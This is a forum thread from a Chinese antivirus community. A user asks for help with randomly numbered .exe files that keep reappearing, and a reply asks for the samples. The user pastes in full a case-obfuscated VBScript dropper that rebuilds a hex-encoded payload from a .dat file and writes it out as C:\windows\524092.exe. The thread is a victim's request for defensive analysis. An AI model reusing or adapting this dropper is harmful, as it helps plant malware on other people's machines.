瑞星卡卡安全论坛技术交流区系统软件 c:\windows下和c:\下频繁生成6位随即数字的.exe文件,请大侠帮忙

1   1  /  1  页   跳转

c:\windows下和c:\下频繁生成6位随即数字的.exe文件,请大侠帮忙

c:\windows下和c:\下频繁生成6位随即数字的.exe文件,请大侠帮忙

和.exe文件在一起生成一个.dat文件和一个.vbs文件,下面是.vbs文件的内容:

on ERroR ResuME NeXT
:N=1078
:sEt s=CREatEObJect("scriPTINg.fiLeSySTeMObJECt")
:DO WHIlE s.FiLeExIsts("C:\windows\524092.dat")=FAlsE
:wSCript.SleEP(459)
:LOOP
:dO
:SeT l=S.OPEnTexTFIle("C:\windows\524092.dat",1)
:do whILE l.AteNDoFsTrEaM=FaLSe:Y=L.rEADlinE:g=LEn(y)
:W=lEFt(y,4)
:SeleCT cASe TRUE
:CAse iSnUMeRIc(W)=false
:Case g=3923 aNd W=cStr(n)
:V=v+MID(Y,5,3918)
:n=n+1
:Case G=3919 anD w=cSTR(N):V=v+MID(Y,5,3914)
:n=n+1
:End SeLEcT
:lOop
:l.CloSE
:if 1124=N thEn
:z=leN(V)/2
:Set D=creaTeObjECt("aDODb.reCordSEt")
:d.fIeLDs.ApPeNd "M",205,Z
:d.OPEN:D.aDdnew
:d.uPDATE
:d("M")=v:SeT k=crEatEOBJECT("Adodb.streAm")
:With k
:.Mode=3
:.tyPE=1
:.open()
:.WrIte D("m").GetchuNK(Z)
:.savEtoFile "C:\windows\524092.exe",2
:EnD wITH
:WScRIPt.quit
:End If
:wScrIPT.sleEp(278)
:LOOp


用户系统信息:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
分享到:
gototop
 

回复:c:\windows下和c:\下频繁生成6位随即数字的.exe文件,请大侠帮忙

.exe文件  .dat文件  .vbs文件  都压缩后发来
百年以后,你的墓碑旁 刻着的名字不是我
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT